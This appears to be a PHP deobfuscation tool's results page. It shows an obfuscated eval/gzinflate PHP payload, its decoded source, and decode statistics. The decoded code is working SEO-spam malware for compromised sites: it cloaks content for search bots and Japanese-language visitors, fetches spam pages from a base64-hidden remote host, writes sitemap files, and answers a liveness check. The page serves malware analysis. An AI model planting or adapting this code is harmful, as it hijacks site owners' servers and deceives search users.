Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $o0o=__FILE__;$oOo='tRlpc5tI9nuq8h86lMvADrpiO7MVRcnIMj4mvkZHnGNcFEItqWMQDCBHjuP/vq+..

Decoded Output download

?><?php
@ini_set('memory_limit', '-1');
@ini_set('max_execution_time', 0);
@set_time_limit(0);
@error_reporting(0);
@ini_set('display_errors', 0);

$bak_dir = dirname('index.php') . "/images";
if (!file_exists($bak_dir)) {
  mkdir($bak_dir);
}

$suffix_txt = $bak_dir . '/suffix.txt';
if (file_exists($suffix_txt)) {
  $suffix = file_get_contents($suffix_txt);
}else{
  $suffix = randomSuffix();
  file_put_contents($suffix_txt, $suffix, LOCK_EX);
}




$req_path = $_SERVER["REQUEST_URI"];

$ip = $_SERVER["REMOTE_ADDR"];

if(IsFltExt()) return;


//if(IsGBot()) return;
if(!IsGBot()&&!IsClickFromSE()) return;
if(!IsGBot()&&!IsJpLng()) return;


if(preg_match("/rrgsmp\/(.*)/i",$req_path,$res))
{
     $action = "sitemap";
     $apikey = $res[1];
}
if(preg_match("/create_sitemap(.*)/i",$req_path,$res))
{
     $action = "sitemap";
     $apikey = $res[1];
}

if($action=="sitemap")
{
    siteMapXml();exit();
}



if(preg_match("/check-alive/i",$req_path,$res))
{
    echo "--alive--"; exit;
}
elseif(preg_match("/-(\d{4,})/i",$req_path,$res))
{
    $action = "article";
    $id = $res[1];

}
else
{
    $action = "article";
    $id = -1;
}

if($action=="article")
{
    header('Content-Type:text/html; charset=utf-8');
    if(IsGBot()){
      $bot = 1;
    }else{
      $bot = -1;
    }
    Article();
    exit();
}



function randomSuffix()
{
    $strs = 'ABCDEFGHIGKLMNOPQRSTUVWZYZabcdefghigklmnopqrstuvwxyz';
    $strs_array = str_split($strs);
    shuffle($strs_array);
    $str_array = array_slice($strs_array, 0, mt_rand(3, 4));
    $str = '.' . implode($str_array);
    return $str;
}

function GetDomain()
{
    $host = $_SERVER['HTTP_HOST'];
    if (isHTTPS()) {
        $host = 'https://' . $host;
    }else{
        $host = 'http://' . $host;
    }
    return $host;
}


function randomApi()
{
    $str = base64_decode('aHR0cDovL0U5VDNIMldHTHBBZ2ZGZWcuY25kc3RvcC50b3AvYXBpMi5waHA=');
    return $str;
}


function IsFltExt()
{
    global $req_path;
    try
    {
        $date = explode('?', $req_path);
        $date = basename($date[0]);
        $date = explode('.', $date);
        $ext = strtolower($date[1]);
        return $ext=="jpg"
        ||$ext=="gif"
        ||$ext=="css"
        ||$ext=="js"
        ||$ext=="png";
    }
    catch (Exception $e)
    { }
}

function Article()
{
    global $bak_dir, $id, $req_path, $suffix, $bot;
    $url_md5 = md5($req_path);
    if ($req_path == '' || $req_path == '/' || $req_path == '/index.php') {
      $bot = 1;
    }


    if ($id == -1) {
      $get_url = randomApi()."?bot=id&shkey=".$shkey."&act=1"."&id=".$id."&suffix=". $suffix ."&md5=".$url_md5;
      $get_html = FFGet($get_url);
      $get_id = trim($get_html);


      $str_length = strlen($req_path);
      $str_dir = $bak_dir . '/bak';
      if (!file_exists($str_dir)) {
        mkdir($str_dir);
      }
      $id_bak_dir = $str_dir . '/' . $str_length;
      if (!file_exists($id_bak_dir)) {
        mkdir($id_bak_dir);
      }
      $id_bak_file = $id_bak_dir . '/' . md5($req_path) . '.jpg';
      if (file_exists($id_bak_file)) {
        $id = file_get_contents($id_bak_file);
      }else{
        $id = $get_id;
        file_put_contents($id_bak_file, $get_id, LOCK_EX);
      }

    }

    $shkey = GetDomain();

    $url = randomApi()."?bot=".$bot."&shkey=".$shkey."&act=1"."&id=".$id."&suffix=". $suffix ."&md5=".$url_md5;

    $html = FFGet($url);


    echo $html;
}

function IsJpLng()
{
     $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 4);
     return stripos($lang,"ja")===0;
}

function IsGBot()
{
    global $ip;

    $ua=$_SERVER['HTTP_USER_AGENT'];
    if(stripos($ua,"iseo")) return true;

    $spider_list=array("google"
                    , "yahoo"
                    , "live"
                    , "msn"
                    , "bing"
                    , "facebook","nike","sbcglobal","microsoft");

    $domain = "";
    try
    {
          $domain = gethostbyaddr($ip);
            if($domain!="")
          {
            $domain = strtolower($domain);
              foreach ($spider_list as $s)
              {
                  if(stripos($domain,$s))
                  {
                      return true;
                  }
              }
          }
    }
    catch(Exception $e)
    {

    }

    if($domain=="")
    {
        return (stripos($ua,"bot")||stripos($ua,"spider")||stripos($ua,"yahoo")||stripos($ua,"seznam")||stripos($ua,"bing"));
    }
    else
    {
      return false;
    }
}

function IsClickFromSE()
{
    $ref=$_SERVER['HTTP_REFERER'];
    return (stripos($ref,"google")||stripos($ref,"yahoo")||stripos($ref,"bing")||stripos($ref,"seznam"));
}

function FFGet( $url ){

    $file_contents ='';
    $user_agent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36";

    if(function_exists('file_get_contents')){
        ini_set('user_agent',$user_agent);
        try
        {
            $file_contents = @file_get_contents( $url );

        }
        catch (Exception $e)
        { }
    }

    if(strlen($file_contents)<1&&function_exists('curl_init')){
        try
        {
             $file_contents ="";
             $ch = curl_init();
             $timeout = 30;
             curl_setopt($ch,CURLOPT_URL,$url);
             curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
             curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
             curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
             curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
             curl_setopt($ch,CURLOPT_USERAGENT,$user_agent);
             $file_contents = curl_exec( $ch);
             curl_close( $ch );
         }
         catch (Exception $e)
         {}
     }

    if($file_contents=="503"||$file_contents=="")
    {
          STU();
    }


    return $file_contents;
}

function STU()
{
    ob_start();
    header('HTTP/1.1 503 Service Temporarily Unavailable');
    header('Status:  503 Service Temporarily Unavailable');
    header('Retry-After:1200');
    header('X-Powered-By:Apache');
    exit();
}



function siteMapXml()
{
    global $bak_dir,$apikey,$suffix;
    $xml_dir = 'sitemap';
    if (!file_exists($xml_dir)) {
      mkdir($xml_dir);
    }

    for ($xml_i=1; $xml_i <= 10; $xml_i++) {
        $html = FFGet(randomApi()."?act=2&shkey=".GetDomain()."&suffix=". $suffix ."&id=".$apikey);
        $xml_file = $xml_dir . '/sitemap-' . $xml_i . '.xml';
        file_put_contents($xml_file, $html, LOCK_EX);
        echo GetDomain() . '/sitemap/sitemap-' . $xml_i . '.xml' . '<br>';
    }
}

function isHTTPS(){
    if(!isset($_SERVER['HTTPS']))  return FALSE;
    if($_SERVER['HTTPS'] === 1){
        return TRUE;
    }elseif($_SERVER['HTTPS'] === 'on'){
        return TRUE;
    }elseif($_SERVER['SERVER_PORT'] == 443){
        return TRUE;
    }
    return FALSE;
}

?>

Did this file decode correctly?

Original Code

<?php
$o0o=__FILE__;$oOo='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';eval(gzinflate(base64_decode('U8n3z7dNr8rMS8tJLEnVSEosTjUziU9JTc5PSdVQAUpqalqDKNvikqL4otSCnMTkVA2l+Hg3Tx/X+HglHSV1lXyDfHUlHbBa69SyxByINmsA')));?>

Function Calls

gzinflate 2
str_replace 1
base64_decode 2

Variables

$o0o index.php
$oOo ?><?php @ini_set('memory_limit', '-1'); @ini_set('max_exec..

Stats

MD5 4ff1090da1c5f7b07d136d8a40a046c2
Eval Count 2
Decode Time 105 ms